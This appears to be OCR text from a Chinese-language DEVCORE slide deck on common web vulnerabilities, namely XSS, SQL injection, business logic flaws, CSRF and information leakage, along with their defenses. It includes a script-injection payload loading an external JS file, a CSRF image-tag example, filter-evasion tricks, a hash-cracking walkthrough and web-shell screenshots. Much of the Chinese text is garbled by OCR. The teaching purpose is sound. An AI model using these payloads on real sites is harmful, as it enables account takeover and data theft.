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o BREM 2014 BERFEBIAARNESH
o BULMIAIKLEE Cross-Site Scripting
o ERIETF AKE SQL Injection
o MIZE%ZEEE)R)M Business Logic Vulnerability

o BULE &K Cross-Site Request Forgery
o EFEIF Information Leakage
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Cross-Site Scripting
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Cross-Site Scripting

o KA I HABEBEREREMAE  BEERELSERAREFR - FK
ZFEOEE-EA HTML o= » a0 iframe ~ script &

o WEHR:

= BIN—RAP s EEFIRM
& M) iR = AU
R AR IS MR AR T

e WE I [FHEWREEEIN (ZEFFIRS
— S F - BREBEL)

~a
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%2 BUIR 32 i 12

&

M w Malicious Server

3. 2K/ XSS JHOf[]
Cookie %5

Attacker

5. 1l MR 56

m 2. Y17 Cookie
Vulnerable Server 1. %ﬁ]\ Victim
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CEZESY

4.

nttp://your.company.com/search.php?kw=DEVCORE
KW AREE - NAREFE)

«kw="><script src=http://devco.re/xss.js><"

http://your.company.com/error.php?message=test

message RIEE ° NABKEFE

http://your.company.com/login.php?next=main.php
next KRR - RNAKREZE’

REA KR
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BRERBELIL

o 7f clientside {£ /A JavaScript #E1THE
=> FR—LEL T EAT48 JavaScript I

oo /(“ R (AR \+
H (- @ bowen.tw/freetalk/xss_example_1 X & B-Googe Q ¥ W B G Q " =

Opisabler J Cookiesv S<CSS~

il Forms v [&images~ ¢ Information~ g@Miscellaneous~ # Outlinev & Resizev Tools¥ <dView

HAEA |@¥F%NE">< FRHATFR
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wRERBEST 2

e HAKF&E : BF <script> 3¢ </script> FEEUR KL FE

-
]

o A <sc<scriptyripty — EAZEFET <script>

o BHA <%73cript>y — FREUX <script>
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e XSS Filter Evasion Cheat Sheet

https://www.owasp.org/index.php/
XSS Filter Evasion Cheat Sheet

o XSS PKELE
http://prompt.ml/0
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https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://prompt.ml/0

XSS Filter Evasion Cheat Sheet

00 / @ XSS Filter Evasion Cheat Sh... % \+

# | € ) A nttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet = & B Google Q ¥ w B §e EJ ‘ -
Mailing Lists o
Membership 1 Introduction
Merchandise 2 Tests
News 2.1 XSS Locator
Community portal 2.2 XSS locator 2
Presentations 2.3 No Filter Evasion
Press 2.4 Image XSS using the JavaScript directive
Projects 2.5 No quotes and no semicolon
Video 2.6 Case insensitive XSS attack vector
LS 2.7 HTML entities
w Reference 2.8 Grave accent obfuscation
Activities 2.9 Malformed A tags
Attacks 2.10 Malformed IMG tags
S 2.11 fromCharCode
i 2.12 Default SRC tag to get past filters that check SRC domain
gl:;sTa;ry 2.13 Default SRC tag by leaving it empty
Java Project 2.14 Default SRC tag by leaving it out entirely
NET Project 2.15 On error alert
Principles 2.16 Decimal HTML character references
Technologies 2.17 Decimal HTML character references without trailing semicolons
Threat Agents 2.18 Hexadecimal HTML character references without trailing semicolons
Vulnerabilities 2.19 Embedded tab
b Language 2.20 Embedded Encoded tab
2.21 Embedded newline to break up XSS
» Tools

2.22 Embedded carriage return to break up XSS




00 prompt(1) to win - Ox0

A € @ promptml/0 ¢ # B Googe QA ¥ w B § .‘ =

B http:/sandbox.prompt.ml 22 :
1

e




IEREREE R

o ERIMEITHE!
e Filterinput, Escape output
o FTEBMAESMARTERT FHENE

o WENEBEINHNERLKBELcRTETREMEL
FlalE A HTML Entities fRiS BT IRF T ° BRER
R &quot; BNE < BHEAE &lt; FF

o STEFHFEMESTIZRE https://www.owasp.org/index.php/

XSS (Cross Site Scripting) Prevention Cheat Sheet
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https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
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SQL Injection
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SQL Injection

o A @ ARBFEHFEHEASHAINET SQLFED @ @IFX
RNBREZE  FREFHAIEAEE SQLFE)

® I&%n\%% :
= (E&EINE

- EEFIREEEINR

o XE I REEEINE -~ BEE
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i
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o HUi& hash - E%| google KR ERE S E HIRE
o HUSERBHIEN @+ 22X phpmyadmin BRI
B AREBE ~ ARaEREEAEFOR

2 HII
]]L
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K% hash

00 /-"' ) 0192023a7bbd73250516f06... * "'.\+

f (€ & nttps://www.google.com/search?q=0192C [l ~ @ # B~ Google Q ¥ B § ’J =

OpDisabler Q. Cookiesv SCSSv |gForms~ [&images+ ¢ Information~ {gMiscellaneous~ # Outlinev & Resizev *Tools+ <)View Source~ °

+Donald % M) i@ Play YouTube ¥t Gmail ¥EZ - Donald Mc

Go gle | 0192023a7bbd732505160694f18b500 Q

AR o 3 A - hay £F ~ BEBTH

7 1,050 BUER (RB{HA §0.24 #)

0192023a7bbd73250%16f069df18b500 MDS decrypt
www.md5decrypt.org/mdS-decrypt.php?...0192023a7bbd... ~ E:EiEEBR
0192023a7bbd73250516f069@ 18b500 MD5 hash found, value:

0192023a7bbd73250816f069df18b500 - MD5 Lab
www.md5lab.com/?...0192083a7bbd73250516f069df18b... ~ EH:EiEEMI
MD5 Lab: Decrypt MD5 - Encilipt To MD5 | 0192023a7bbd73250516f069df18b500.

0192023a7bbd7325
mdScracker.org/.../019202
The decrypted value behin
can be a password or somet

6f069df18b500 - mdScracker.org
bbd73250516f069df18b50... ~ E:BiEEER

r md5 hash of "0192023a7bbd73250516f069df18b500"
else. In the most cases the valueis a ...

MD5 Convertion : admin123|... - MD5 Convertion and Reverse
md5reverse.insdy.net/encrypt_mds/admin123 ~ E:EiE @M

MDES Canvertion and Reverce - Online encrintion and decrintion md-s text

FORE




Z A phpMyAdmin

00 j phpMyAdmin 2.5.0 % \+

A (€ phpmyadmin.devco.re/phpMyAdmin/inde I= v & & Y~ Google Q ¥ W B €9 l =
Opisabler Q. Cookiesv SCSSv | Forms~ [&limages+ ¢ Information~ {gMiscellaneous~ ' Outlinev &’ Resizev *Toolsv <)View Source~

o

Welcome to phpMyAdmin 2.5.0 - Login

Language: | English (en-iso-8859-1) j Go

Cookies must be enabled past this point.

Username: admin

Password: esenenee

Server Choice : |phpmyadmin.devco.re ~|

Login

FORE



P T IHRR AN S

00O / test.php x-\+
) '(- devco.re/test.php v & B Googe Q $ v B8 € .’ —

Opisabler Q Cookiesv SCSSv |gForms~ [&limages+ ¢ Information~ {gMiscellaneous~ # Outlinev & Resizev *Toolsv <3View Source

Fatal error: Unsupported operand types in /var/www/devco.re/test.php on line 1337
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= A web shell

000 / " devco.re ff\\+

Y . N - ~
St Q-/" devco.re/phpspy.php c } (B}~ Google Q)
CINT aa @ SQL v XSS v Encryption v Encoding v Other v
& Load URL
I spiit URL
» . Execute
- Enable Postdata = Enable Referrer
devco.re Linux www 2.6.32-358 #1 SMP Sun Apr 13 08:13:20 UTC 2014 i686 / User:500 ( www ) / Group: 500 (

Logout | File Manager | MYSQL Manager | MySQL Upload & Download | Execute Command | PHP Variable | Port Scan | Security information | Eval PHP Code | BPHP 5.3.2 / Safe Mo
ack Connect

File Manager - Current disk free 1.04 GB of 3.64 GB (49.47%)

Ivar/wwwi/devco.re/ - 0755 / drwxr-xr-x / (Non-writable)
WebRoot | ScriptPath | View All | View Writable ( Directory | File ) | Create Directory | Create File Browse... No file selected.
Find string in files(current folder): 206 Type: |php,cgi,pl,asp,inc,js,htrr| | Regular expressions
Filename Last modified Size Chmod / Perms Action
- Parent Directory

top secret 2014-11-14 16:38:26 Stat 755 I drwxr-xr-x / bowenhsu Rename
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Business Logic Vulnerability
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Business Logic Vulnerability

o KA :HAEERMELAEESEERAFTEENETEN
B~ MR > SRERE I ESRIFEZER

. WEBER
- 25SEEEN

= STEMRM - EEINR
- EEFRRKEEINER
o E I REBEINR - EHBIRIFEEFEE
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http://devco.re/pay.php?item=abc123&amount=99

IS EATSOEE - RTFF#FEZVISA - MasterCard
EERFATT SSL PLUS SR B eMata ! SRJICBZERFXS!
qEseaE ——— o
grder Number iVl @
dJHEH ek
gurchase Amount m NT ;llars
{EHFRFRE
Credit Card Number _}[ F 1 | FE AR
—HRESH Ll = SR, A0S e
3-digital
Card Validation Code 5
CVC2 is printad as last 3-digit valua on signature pane = ﬁ L &EF. = ig
j?iﬁ?ﬂ%ﬂ[ﬁ 1 s |/ 2014 3|
Expire Date Format followed by Credit Card

DEV/CORE



TEBRERNTEZET  S5Z42% WAL IEE A
A BEERBENERUANERNIEERET @ BARERER
=51

o BMATHIR @ KREREIEK

CER  IRINEIRA T EE
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2. f&EF Serverto Server WA N EIES

3. ERENBEFINA—HEEE  EShnEmREEINE
Y I
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B REG 2

http://devco.re/user_info.php?id=DEVCORE
000 /' e s \4

) (f(-t} http://devco.re/user_info.php?id=DEVCO} ¢ @ B-Goge Q § W B € .‘ —

Opisable~ Q. Cookiesv SCSSv |gForms~ [&images+ ¢ Information~ {gMiscellaneous¥ ' Outlinev &’ Resizev *Toolsv <)View Source~
| INT = @& SQL~ XSS+ Encryptionv Encodingv Other~

@ LoadURL  nip//devco.refuser info.php?id=DEVCORE
I split URL

') Execute
~ Enable Post data  Enable Referrer
%% : DEVCORE

WE MK EH
ik AT EEERDE B 91 H 3182 15

DEV/CORE



= B EH| 2 (Cont'd)

http://devco.re/user_info.php?id=HITCON

.0?/’

HITCON xﬂ\q.

fH '(' http://devco.re/user_info.php?id=HITCON ¢ & B-Googe Q $ W B © .‘ =

Opisable~ Q. Cookiesv SCSSv |gForms~ [&images+ ¢ Information~ {gMiscellaneous¥ ' Outlinev &’ Resizev *Toolsv <)View Source~
CINT B = @ SQL~ XSS+ Encryptionv Encoding~ Other~

@ LoadURL  htp//devco.refuser info.php?id=HITCON
I split URL

') Execute
~ Enable Post data  Enable Referrer
ek : HITCON

HEZ . ABEETY
Hodik : Top Secret

DEV/CORE



mREA 3

http://devco.re/modify.php
POST data:

id=admin&name=DEVCORE&email=d@devco.re

®®e J'/ gEEA » -\‘k+ ﬂ
# [ € | nhttp://devco.re/member_modify.php ¢ @ B Google Q ¥ W B ? ‘l —

Opisablev Q Cookiesv SCSSv | Forms~ [&limages+ ¢ Information~ {@Miscellaneous™ # Outlinev &’ Resizev *Tools~ <)View Source~
CINT || = @ SQLv XSS+ Encryption+ Encoding~ Other~

@ Load URL http://devce.re/member_modify.php
I spiit URL +
»)  Execute

[/ Enable Post data  Enable Referrer

Post data id=admin&name=DEVCORE&email=-d@devco.re

DEVCORE & R#ERHE ML) !

'ORE

30
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Cross-Site Request Forgery
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Cross-Site Request Forgery

o KA I FAREBERBE request EARMEAELRGE HMENE
SRR EFALEH—RERENFDAITHERF

o« WEXRP

- 1
- 1
- i

B/ 455
° =

1 EEH NEBEY

& B BB R
b A B2
 ERBEZEAAERTAITEESIME
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CSRF IERTE

Malicious
Server

3. <img src=http://vul.server/buy.php?item=abc> lI2 B RS

v=&= 4+ =B
SRERE

SN /A =

In g#
\jﬂ%{ﬁ]\/ victm
vul.server

4.GET /buy.php?item=abc
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CEZESY

000 /' orcamer x|+
) '(- bowen.tw/csrf_example_1.html v & B~ Google Q ¥ W B A ‘ =
Qpisabler J Cookiesv SCSS+ | Forms~ [images+ ¢ Information~ {@Miscellaneous~ ' Outline &’ Resizev *Toolsv <¥View Source~ j!jOptions X v v

CSRF Example 1

Ch

o

l"u‘ O R ‘ > xga | © mrszs | [7 #tams ‘ O e EF I E B (% 00 x
v 753k ES @i 5 o M®m | Cookies 8% o | M

® 200 GET csrf_example_1.html bowen.tw html (o BsER e )
200 GET change_password.php?pass-=... html v BETE "
pass: "asdf"
pass2: "asdf"

HTML CSS JS XHR F® @A &8 Flash  Hfh @ 2%#% - 021KB - 247%  Hk
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Information Leakage
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ABNFAZEERERR  ERAREEENRIT
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4

R
REeiHRRRRESE - RRES ik
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D RIRIRAUE IS ~ [RI6HE
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RIGHRRENERRZ TR

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv="Content-Type" content="text/html; charset=big5">

</head>

<body bgcolor-"#FFFFFF“ text="#000000" onload="document. 1nput submit()">

<form name="input" method="post" action="  _ — - - >

<div align="center">

BREEERD, SHE((MREFTEFSFEFERTT) . ..0o0va. <br><br>
<font color="#FF0000" size="4"><b>iEZ)MiBL{IELRthi#</b></font><font color="#FF0000">
</font></div>

<input type="hidden" name="ServerName" wvalue=24 m JOEE

<input type="hidden" name="SglPassWord" wvalue=Ew" B EEE -

<input type="hidden" name="member" wvalue=. -

<input type="hidden" name="pass" value= = >

<input type="hidden" name="radiobutton"” wvalue=1;>

<input type="hidden" name="Invoicebutton" value="">

<input type="hidden" name="MysSelOne" value="">

<input type="hidden" name="InvoiceType"” wvalue="">

<input type="hidden" name="InvoiceTXT" wvalue="">

<input type="hidden" name="TotPrice" value= >

<input type="hidden" name="CardNo" wvalue=» >

<input type="hidden" name="CardNol" wvalue= >

<input type="hidden" name="CardNo2" wvalue= . >

<input type="hidden" name="CardNo3" wvalue=" >

<input type="hidden" name="ChinatrustYear" value= >

<input type="hidden" name="ChinatrustMonth" wvalue= >

<input type="hidden" name="TotTks" wvalue= >

<input type="hidden" name="cvv2" wvalue= >

<input type=hidden name=getname value= g

' D onenaads

Aeeaes e S N e ar o oaamnanenTh an el onun ds anws ds a5

- 1 N N e
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it 4 ‘:13':1
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¥ 00 12 R R A I JR 20 B

® OO0 | T 'U\.‘K"l' =

va@' @ forums /index.php~ Googe Ry = Is~ER v C | & B @ [ = ? ® |-

ges v 7 Information v {g Miscellaneous v " Outline v & Resize v 4 Tools v <» View Source v jli Options

© Disable + L Cookies v - CSS v | Forms v [a]

// Here's the monstrous §
S$function).

SactionArray = array(
'activate' => array('Re
'admin' => array('Admi
'announce' => array('Pa
'ban' => array('ManageBans.php’, ’
'boardrecount’' => array('Admin.php', 'AdminBoardRecount’),
'buddy' => array('Subs-Members.php', 'BuddyListToggle’),
'calendar' => array('Calendar.php’', 'CalendarMain'),
'cleanperms’' => array('Admin.php', 'CleanupPermissions'),
'collapse’ => array('Subs-Boards.php', 'CollapseCategory’'),

convertentities' => array('Admin.php', 'ConvertEntities'),
convertutf8' => array('Admin.php’', 'ConvertUtf8'),

'coppa’ => array( 'Register.php’', 'CoppaForm'),

'deletemsg’' => array('RemoveTopic.php', 'DeleteMessage’),
'detailedversion’ => array('Admin.php', 'VersionDetail'),

'display’' => array('Display.php’', 'Display’'),

'dlattach’' => array('Display.php', 'Download’'),

"dumpdb' => array('DumpDatabase.php’', 'DumpDatabase2'),

'editpoll’ => array('Poll.php', 'EditPoll'),

'editpoll2’ => array('Poll.php’', 'EditPoll2'),

'featuresettings' => array('ModSettings.php’', 'ModifyFeatureSettings'),
'featuresettings2' => array('ModSettings.php', 'ModifyFeatureSettings2'),
'findmember' => array('Subs-Auth.php’', 'JSMembers'),

'"help' => array('ﬂelp.php', 'ShowHelp'),

'helpadmin => array('Help.php', 'ShowAdminHelp'),

'im' => array('PersonalMessage.php’', 'MessageMain'),
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ERWHER

o LIGRBEEERINEARNGHRT]
= Android app ~ i0OS app BJ API server

_

o AR
= (OpenSSL Heartbleed
= Shellshock
= POODLE

o KRSHFMBWERET]  Ha0l CSRF + XSS
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KRR2ESHE

o TARNARMTEEBIHEHKT

= ZE7TmETE Injection © BEEEZ service (ftp, rsync)
o BAENEKXRWFIE

= http://devco.re/admin/

= http://admin.devco.re/
o BREHERERAFIMEBEHAZ /IE
= (Google Hacking
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o {EAAl input & AI{FHE !
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o EEZMEERX

= (Google Chrome Reward Program

= Yahoo! Bug Bounty Program
« MABETHE
= \ulReport (https://vulreport.net)

o« EHBREENECDA > RREXTEEFAIEA |
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